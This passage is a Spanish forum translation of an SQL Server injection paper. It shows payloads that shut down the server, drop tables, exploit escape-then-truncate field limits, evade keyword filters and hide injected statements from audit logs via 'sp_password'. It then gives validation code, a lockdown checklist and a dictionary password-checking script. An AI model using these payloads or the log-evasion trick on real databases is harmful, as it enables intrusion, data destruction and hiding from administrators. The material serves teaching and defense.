Usuario: ';shutdown--

...provocará el apagado de la instancia del servidor SQL, utilizando únicamente 12


carácteres para su entrada. Otro ejemplo sería

Código: [Seleccionar]
drop table <nombretabla>

Otro problema inherente a la limitación del tamaño de los datos sucede cuando dicha
limitación es aplicada después de que la cadena haya sido escapada. Si el nombre de
usuario está limitado a (por ejemplo) 16 carácteres igual que la contraseña, la siguiente
combinación de usuario/contraseña seguirá ejecutando el comando 'shutdown'
mencionado anteriormente:

Código: [Seleccionar]
Usuario: aaaaaaaaaaaaaaa'
Password: '; shutdown--

La razón es debido a que la aplicación intentará escapar la comilla del final del nombre
de usuario, pero la cadena es entonces reducida a 16 carácteres, elmininando el carácter
de escape de la comilla. El resultado final es que el campo de la contraseña aún puede
contener algo de SQL si comienza con una comilla simple, la cadena finalmente
quedaría así

Código: [Seleccionar]
select * from users where username='aaaaaaaaaaaaaaa'' and
password=''';
shutdown--

De forma efectiva el nombre de usuario en la consulta ha pasado a ser

Código: [Seleccionar]
aaaaaaaaaaaaaaa' and password='

…por lo que el código SQL inyectado seguirá ejecutándose.


[Eludir la auditoría]
El servidor SQL proporciona una interfaz para la auditoría mediante la familia de
funciones sp_traceXXX, las cuales permiten registrar todos los sucesos que se
produzcan en la base de datos. De interés particular son los eventos T-SQL, los cuales
registran todas las sentencias SQL y archivos 'batch' que se ejecuten en el servidor. Si
este nivel de auditoría está habilitada todas las sentencias SQL que hemos mostrado a lo
largo de este documento sean registradas y el administrador de la base de datos será
capaz de observar todo lo que haya ocurrido. Desafortunadamente si el atacante aneza la
cadena

Código: [Seleccionar]
sp_password

a una sentencia Transact-SQL el mecanismo de auditoría registrará lo siguiente:

Código: [Seleccionar]
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

Este comportamiento se dará en todos los registros T-SQL, siempre que 'sp_password'
se incluya en el comentario. Esto es debido a que se intentará ocultar todas las
contraseñas en texto claro que sean utilizadas con 'sp_password', pero resulta
tremendamente útil desde la perspectiva de un atacante.

Por ello, para ocultar la inyección de código SQL al atacante le bastará con anexar
sp_password despues de los carácteres de comentario, en la forma:

Código: [Seleccionar]
Usuario: admin'--sp_password

El resultado es que la consulta SQL quedará registrada pero será convenientemente


ocultada en la entrada del registro.

[Defensas]
Esta sección introduce algunas de las posibles defensas frente a este tipo de ataques. Se
discute la validación de la entrada de datos y se proporciona algo de código,
mencionando a continuación los entresijos del bloqueo de servidores SQL.

[Validación de la entrada]
La validación de la entrada puede ser una compleja solución. Típicamente se le presta
escasa atención durante el desarrollo de un nuevo proyecto dado que tiende a formar
parte de la mayoría de situaciones causantes de error, en los que este problema resultará
de dificil solución. La validación de la entrada de datos no proporcionará ninguna
funcionalidad a la aplicación y se suele obviar frente a las fechas tope impuestas para la
entrega de la misma.

Lo siguiente es una breve introducción a la validación de la entrada de datos,


incluyendo código de ejemplo. Este código (por supuesto) no debería incluirse tal cual
en ninguna aplicación, pero ayudará a clarificar los conceptos que deberán tenerse en
cuenta.

Las diferentes formas en que puede acometerse la validación pueden categorizarse en la


forma:

1)Intentar modificar los datos de forma que se vuelvan correctos

2)Devolver aquellas entradas que no sean válidas

3)Aceptar sólo la entrada que se considere válida

La primera solución implica ciertos problemas de concepto; primero, el desarrollador no


conocerá a priori lo que constituyen datos no válidos dado que diariamente se descubren
nuevas técnicas. Segundo la modificación de los datos puede alterar su tamaño, lo que
puede derivar en los problemas descritos con anterioridad. Finalmente existe la
posibilidad de provocar efectos laterales debidos a la reutilización de los
datos que se hallen en el sistema.

La segunda solución padece de los mismos defectos que la primera; los considerados
como datos no válidos cambiarán a los largo del tiempo, debido al descubrimiento de
nuevas técnicas de ataque.

La tercera solución es probablemente la mejor de las tres, pero puede resultar dificil de
implementar.

Seguramente la mejor defensa implique la combinación de las técnicas segunda y


tercera - permitir solo datos válidos y buscar en la entrada cualquier cosa considerada
como peligrosa.

Un buen ejemplo de la necesidad de combinar estas dos técnicas es el problema de los


apellidos separados mediante guiones:

Quentin Bassington-Bassington

Podríamos considerar el carácter guión como parte de una entrada válida pero sabemos
también el significado que tiene en SQL la secuencia '--'.

Otro problema deriva del hecho de combinar la modificación de los datos con la
validación de las secuencias de carácteres - por ejmplo si aplicamos un filtro que detecte
la secuencia '--', 'select' y 'union' seguido de un filtro de modificación de estos datos de
forma que se escapen las comillas simples el atacante podría utilizar una entrada similar
a la siguiente:

Código: [Seleccionar]
uni'on sel'ect @@version-'-

Dado que el carácter de comilla simple será eliminado después de aplicar el filtro el
atacante podría simplemente utilizarlo para evadir la detección de las cadenas no
permitidas.

Primer método - Escapar las comillas simples

Código: [Seleccionar]
function escape( input )
   input = replace(input, "'", "''")
   escape = input
end function

Segundo método - Devolver las entradas consideradas como no válidas

Código: [Seleccionar]
function validate_string( input )

   known_bad = array( "select", "insert", "update", "delete", "drop",


   "--", "'" )

   validate_string = true

   for i = lbound( known_bad ) to ubound( known_bad )


      if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 )
      then
         validate_string = false
         exit function
      end if
     
   next

end function

Tercer método - Permitir únicamente la entrada válida

Código: [Seleccionar]
function validatepassword( input )

   good_password_chars =
   "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

   validatepassword = true

   for i = 1 to len( input ) c = mid( input, i, 1 )


      if ( InStr( good_password_chars, c ) = 0 )
      then
         validatepassword = false
         exit function
      end if
   next

end function

[Bloquear el servidor SQL]


El punto más importante aquí es la necesidad de bloquear el servidor SQL; este no es
seguro si se ejecuta desde fuera del sistema. He aquí una breve lista con los puntos a
tener en cuenta al instalar un servidor SQL:

1. Determinar los métodos de conexión al servidor

a. Verificar las librerías de red que estan siendo habilitadas utilizando


la 'Network Utility'

2. Verificar las cuentas que existen

a. Crear cuentas poco privilegiadas para ser utilizadas por las aplicaciones
b. Eliminar las cuentas innecesarias
c. Asegurarse de que todas las cuentas tienen establecidas fuertes contraseñas; ejecutar
un script para auditar las contraseñas del servidor (como el que se proporciona en el
apéndice de este paper)

3. Verificar los objetos que existen

a. Algunos de los procedimientos almacenados podrán eliminarse tranquilamemte. Si


hace esto considere borrar el archivo '.dll' que contiene el código delprocedimiento
almacenado.
b. Elimine todas las bases de datos de ejemplo - las bases de datos 'pubs' y 'northwind',
por ejemplo.

4. Verfique que cuentas pueden acceder a que objetos

a. La cuenta que utilice la aplicación para acceder a la base de datos debería tener los
mínimos permisos necesarios para acceder a los objetos que necesite utilizar.

5. Verificar los parches instalados en el servidor

a. Existen varios buffer overflow [3], [4] y ataques de cadenas de formato [5] que se
pueden ejecutar contra el servidor SQL (la mayoría de ellos descubiertos por el autor)
así como otras características que deberían parchearse. Es muy probable que aparezcan
más.
6. Verfique los registros de acceso y que está siendo registrado

En www.sqlsecurity.com[2] se puede encontrar una excelente lista de puntos de


comprobación.

[Referencias]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc

[2] SQL Server Security Checklist


http://www.sqlsecurity.com/checklist.asp

[3] SQL Server 2000 Extended Stored Procedure Vulnerability


http://www.atstake.com/research/advisories/2000/a120100-2.txt

[4] Microsoft SQL Server Extended Stored Procedure Vulnerability


http://www.atstake.com/research/advisories/2000/a120100-1.txt

[5] Multiple Buffer Format String Vulnerabilities In SQL Server


http://www.microsoft.com/technet/security/bulletin/MS01-060.asp
http://www.atstake.com/research/advisories/2001/a122001-1.txt

Apéndice A - 'SQLCrack'

Este script para descifrar las contraseñas (escrito por el autor) requiere acceso a la
columna 'password' de la tabla master..sysxlogins y por consiguiente muy dificil que sea
ejecutado por un atacante. Es, sin embargo, una herramienta extremadamente útil para
aquellos administradores que deseen comprobar la calidad de las contraseñas
utilizadas en sus bases de datos.

Para utilizar este script deberá sustituir la ruta del archivo de diccionario indicada en la
sentencia 'bulk insert'. Pueden encontrarse infinidad de estos archivos en la web; no se
proporciona uno adecuado aquí, pero servirá como un pequeño ejemplo (el archivo
deberá guardarse como un archivo de texto MS-DOS con los carácters <CR><LF>
como indicadores del final de línea). El script también detectará las cuentas 'joe' -
aquellas
cuentas que utilizan la misma contraseña que su nombre de usuario - y las cuentas que
tengan la contraseña en blanco.

Código: [Seleccionar]
password
sqlserver
sql
admin
sesame
sa
guest
Y aquí el script (sqlcrack.sql):

Código: [Seleccionar]
create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins


   on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)

union select name, name from sysxlogins where


   (pwdcompare( name, sysxlogins.password, 0 ) = 1)

union select sysxlogins.name, null from sysxlogins join syslogins on


sysxlogins.sid=syslogins.sid

   where sysxlogins.password is null and


         syslogins.isntgroup=0 and
         syslogins.isntuser=0

drop table tempdb..passwords

---

Saludos y espero os guste (no obstante recomiendo leer el documento original, quien
sabe las burradas que puedo haberme inventado )

S-ar putea să vă placă și